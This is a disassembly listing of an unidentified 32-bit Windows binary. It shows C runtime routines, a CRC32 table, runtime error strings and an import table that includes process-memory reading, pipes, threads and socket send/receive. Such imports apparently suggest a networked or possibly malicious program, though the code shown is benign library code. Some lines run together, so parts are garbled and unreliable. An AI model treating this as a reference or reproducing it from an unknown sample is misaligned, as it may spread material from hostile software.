		jnz	short loc_4205B1
		cmp	ax, 41h
		jb	short locret_4205F8
		cmp	ax, 5Ah
		ja	short locret_4205F8
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4205B1:				; CODE XREF: sub_420585+19j
		cmp	ax, 100h
		jnb	short loc_4205CB
		push	1
		push	eax
		call	sub_420833
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4205CB
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_420585+30j
					; sub_420585+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_5158EC
		call	sub_4205FA
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_4205F8
		mov	ax, [ebp+var_2]

locret_4205F8:				; CODE XREF: sub_420585+1Fj
					; sub_420585+25j ...
		leave
		retn
sub_420585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4205FA	proc near		; CODE XREF: sub_420585+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AB8
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_515B44, esi
		jnz	short loc_420670
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4216A0
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jz	short loc_42064E
		mov	dword_515B44, ebx
		jmp	short loc_420670
; ---------------------------------------------------------------------------


loc_42064E:				; CODE XREF: sub_4205FA+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_441700
		push	edi
		push	esi
		nop
		call	near ptr 7C838DE8h
		test	eax, eax
		jz	loc_4207EF
		mov	dword_515B44, 2


loc_420670:				; CODE XREF: sub_4205FA+2Ej
					; sub_4205FA+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_420685
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_420803
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_420685:				; CODE XREF: sub_4205FA+79j
		mov	eax, dword_515B44
		cmp	eax, 1
		jnz	short loc_4206AC
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		jmp	loc_4207F1
; ---------------------------------------------------------------------------


loc_4206AC:				; CODE XREF: sub_4205FA+93j
		cmp	eax, 2
		jnz	loc_4207EF
		cmp	[ebp+arg_18], esi
		jnz	short loc_4206C2
		mov	eax, dword_5158FC
		mov	[ebp+arg_18], eax


loc_4206C2:				; CODE XREF: sub_4205FA+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 7C80A0D4h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_4207EF
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_420708
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_420708:				; CODE XREF: sub_4205FA+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_4207EF
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 7C80A0D4h
		test	eax, eax
		jz	loc_4207EF
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C838DE8h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_4207EF
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42078B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_42078B:				; CODE XREF: sub_4205FA+17Dj
		cmp	ebx, esi
		jz	short loc_4207EF
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C838DE8h
		test	eax, eax
		jz	short loc_4207EF
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4207C9
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_4207EB
		cmp	eax, edi
		jl	short loc_4207BA
		mov	eax, edi


loc_4207BA:				; CODE XREF: sub_4205FA+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_4182F0
		add	esp, 0Ch
		jmp	short loc_4207EB
; ---------------------------------------------------------------------------


loc_4207C9:				; CODE XREF: sub_4205FA+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_4207D2
		push	esi
		push	esi
		jmp	short loc_4207D8
; ---------------------------------------------------------------------------


loc_4207D2:				; CODE XREF: sub_4205FA+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4207D8:				; CODE XREF: sub_4205FA+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_4207EF


loc_4207EB:				; CODE XREF: sub_4205FA+1B8j
					; sub_4205FA+1CDj
		mov	eax, edi
		jmp	short loc_4207F1
; ---------------------------------------------------------------------------


loc_4207EF:				; CODE XREF: sub_4205FA+66j
					; sub_4205FA+B5j ...
		xor	eax, eax


loc_4207F1:				; CODE XREF: sub_4205FA+ADj
					; sub_4205FA+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4205FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_420803	proc near		; CODE XREF: sub_4205FA+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_420822


loc_420813:				; CODE XREF: sub_420803+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_420822
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_420813


loc_420822:				; CODE XREF: sub_420803+Ej
					; sub_420803+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_420830
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_420830:				; CODE XREF: sub_420803+24j
		mov	eax, edx
		retn
sub_420803	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420833	proc near		; CODE XREF: sub_420585+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_420873
		cmp	[ebp+arg_0], 100h
		jnb	short loc_420857
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43B5A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_42087A
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_420833+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_420885
		add	esp, 18h
		test	eax, eax
		jnz	short loc_420877


loc_420873:				; CODE XREF: sub_420833+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_420877:				; CODE XREF: sub_420833+3Ej
		mov	eax, [ebp+var_4]


loc_42087A:				; CODE XREF: sub_420833+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_420833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420885	proc near		; CODE XREF: sub_420833+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AD0
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_515B48
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_4208F4
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4216A0
		push	esi
		nop
		call	near ptr 7C80A490h
		test	eax, eax
		jz	short loc_4208D2
		mov	eax, esi
		jmp	short loc_4208EF
; ---------------------------------------------------------------------------


loc_4208D2:				; CODE XREF: sub_420885+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_441700
		push	esi
		push	edi
		nop
		call	near ptr 7C838A0Ch
		test	eax, eax
		jz	loc_420A36
		push	2
		pop	eax


loc_4208EF:				; CODE XREF: sub_420885+4Bj
		mov	dword_515B48, eax


loc_4208F4:				; CODE XREF: sub_420885+2Fj
		cmp	eax, 1
		jnz	short loc_420910
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80A490h
		jmp	loc_420A38
; ---------------------------------------------------------------------------


loc_420910:				; CODE XREF: sub_420885+72j
		cmp	eax, 2
		jnz	loc_420A36
		cmp	[ebp+arg_10], edi
		jnz	short loc_420926
		mov	eax, dword_5158FC
		mov	[ebp+arg_10], eax


loc_420926:				; CODE XREF: sub_420885+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 7C80A0D4h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_420A36
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420984
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_420984:				; CODE XREF: sub_420885+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_420A36
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 7C80A0D4h
		test	eax, eax
		jz	loc_420A36
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_4209D9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_4209D9:				; CODE XREF: sub_420885+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_420A36
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_4209ED
		mov	eax, dword_5158EC


loc_4209ED:				; CODE XREF: sub_420885+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 7C838A0Ch
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_420A36
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_420A36
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D840
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_420A38
; ---------------------------------------------------------------------------


loc_420A36:				; CODE XREF: sub_420885+61j
					; sub_420885+8Ej ...
		xor	eax, eax


loc_420A38:				; CODE XREF: sub_420885+86j
					; sub_420885+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420885	endp

; ---------------------------------------------------------------------------
		align 4
		dd 16Dh	dup(0)
		dd 7C80B974h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
		dd 7C812641h, 7C81DC03h, 7C80A490h, 7C838A0Ch, 7C937A40h
		dd 7C810E51h, 7C812F39h, 7C80CC97h
dword_421034	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW		dd 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah, 7C8127A7h
		dd 7C809915h, 7C812E76h, 7C80CCA8h, 7C838DE8h, 7C809A51h
		dd 7C80C058h
dword_421064	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401D79+3Dr ...
		dd 7C80A427h, 7C82FA46h
dword_421070	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_4078E6+D1r ...
dword_421074	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_417CAE+54r ...
		dd 7C80180Eh
dword_42107C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40B7FD+6r ...
		dd 7C810D87h, 7C8312E5h
dword_421088	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh, 7C910331h
dword_42109C	dd 7C810637h	; resolved to->KERNEL32.CreateThread		dd 7C810A77h, 7C81153Ch, 7C80EDD7h, 7C80E7ECh, 7C80E866h
		dd 7C834EB1h
dword_4210B8	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA		dd 7C810B8Eh, 7C9010EDh, 7C901005h, 7C80B829h, 7C91188Ah
		dd 7C80ABDEh
dword_4210D4	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_4210D8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_409794+11r ...
dword_4210DC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA		dd 7C91043Dh
dword_4210E4	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_409307+4Ar
dword_4210E8	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_409307+40r ...
		dd 7C80B9A0h
dword_4210F0	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory		dd 7C812D56h
dword_4210F8	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_4210FC	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h, 7C80FE82h, 7C80FF19h, 7C80B905h, 7C80945Ch
		dd 7C831CB8h, 7C831C45h, 7C802367h, 7C8329D9h, 7C812782h
		dd 7C835DCAh, 7C812ADEh
dword_421130	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA		dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_421140	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_421144	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe		dd 7C8310F2h, 7C814EEAh, 7C80A7D4h, 7C81CDDAh
dword_421158	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; ___:0041CFABr ...
		dd 7C8216A4h, 7C831EABh, 7C809920h, 7C802520h, 7C80E93Fh
		dd 7C81CE03h, 7C835E8Fh, 7C801E16h, 7C80BAA1h, 7C80D262h
		dd 7C830B14h, 7C8350BFh, 7C80176Bh, 7C9179FDh, 7C801EEEh
		dd 7C812F1Dh, 7C8111DAh, 7C810EF8h, 7C812BB6h
dword_4211A8	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree		align 10h
		dd 77C019FFh, 77C01A50h, 77C018BAh, 0
		dd 71AB4428h, 71AB664Dh, 71AB3EA1h, 71AB3E00h, 71AB88D3h
		dd 71AB2DC0h, 71AB4544h, 71AC1028h, 71AB2BF4h, 71AB2B66h
dword_4211E8	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40381E+9Br
dword_4211EC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_4033C9+26Br ...
dword_4211F0	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB3F41h, 71AB3B91h, 71AB4519h, 71AB406Ah, 71AB9639h
		dd 2 dup(0)
dword_421210	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_42160C	db 8Dh			; DATA XREF: sub_419343+4Ar
		db 0EFh, 2, 2Dh
dbl_421610	dq 9.765625e-4		; DATA XREF: sub_40D091+2BDr
					; sub_40D091+2D8r ...
dbl_421618	dq -3.0517578125e-5	; DATA XREF: sub_415EF7+1Er
		dd 0FFFFFFFFh, 4191C6h,	4191DAh
byte_42162C	db 6			; DATA XREF: sub_419343:loc_41939Ar
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43B59Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43B598o
		align 10h
dword_4216A0	dd 2 dup(0)						; sub_41D6F3+39o ...
dword_4216A8	dd 0FFFFFFFFh, 41BD3Bh,	41BD3Fh, 0FFFFFFFFh, 41BDEFh, 41BDF3h
					; DATA XREF: sub_41BC2B+5o
dbl_4216C0	dq 1.0			; DATA XREF: sub_41C478+2Ar
dbl_4216C8	dq 4.195835e6		; DATA XREF: sub_41C478+Fr
dbl_4216D0	dq 3.145727e6		; DATA XREF: sub_41C478+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C4B6+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C4B6o
		align 10h
dbl_421700	dq 0.0			; DATA XREF: sub_41C587+6r
dword_421708	dd 30302B65h, 30h, 746E7572h, 20656D69h, 6F727265h, 2072h
					; DATA XREF: sub_41C5DD+93o
		dd 534F4C54h, 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h
		dd 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BAECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D415+119o
		align 10h
asc_4219C0	db 0Ah			; DATA XREF: sub_41D415+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D415+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D415+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D415+7Do
		align 10h
dword_421A00	dd 0FFFFFFFFh, 41D7ECh,	41D7F0haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41DD12+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41EE5D+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41EE5D+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41EE5D+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F7F0:loc_41F8E5o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F7F0+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F7F0+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F7F0+ADo
		align 10h
dword_421AA0	dd 0FFFFFFFFh, 41FFF9h,	41FFFDh, 0FFFFFFFFh, 420068h, 42006Ch
					; DATA XREF: sub_41FE42+5o
dword_421AB8	dd 0FFFFFFFFh, 4206FCh,	420700h, 0FFFFFFFFh, 420779h, 42077Dh
					; DATA XREF: sub_4205FA+5o
dword_421AD0	dd 0FFFFFFFFh, 420971h,	420975h, 0FFFFFFFFh, 4209CEh, 4209D2h
					; DATA XREF: sub_420885+5o
		dd 5 dup(2E5DFEC1h), 5 dup(1C3E825Eh), 5 dup(2A993EADh)
		dd 70h dup(0)
		dd 2A993EADh, 3	dup(0)
		dd 1C3E825Eh, 12h dup(0)
		dd 2E5DFEC1h, 4AFh dup(0)
dword_423000	dd 0				dd offset sub_40417B
dword_423008	dd 0		dword_42300C	dd 0				dd offset sub_41C3C0
		dd offset sub_41D5D2
dword_423018	dd 0		dword_42301C	dd 0				dd offset sub_41D677
dword_423024	dd 0		dword_423028	dd 0		dword_42302C	dd 0		unk_423030	db    2			; DATA XREF: sub_401000+5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
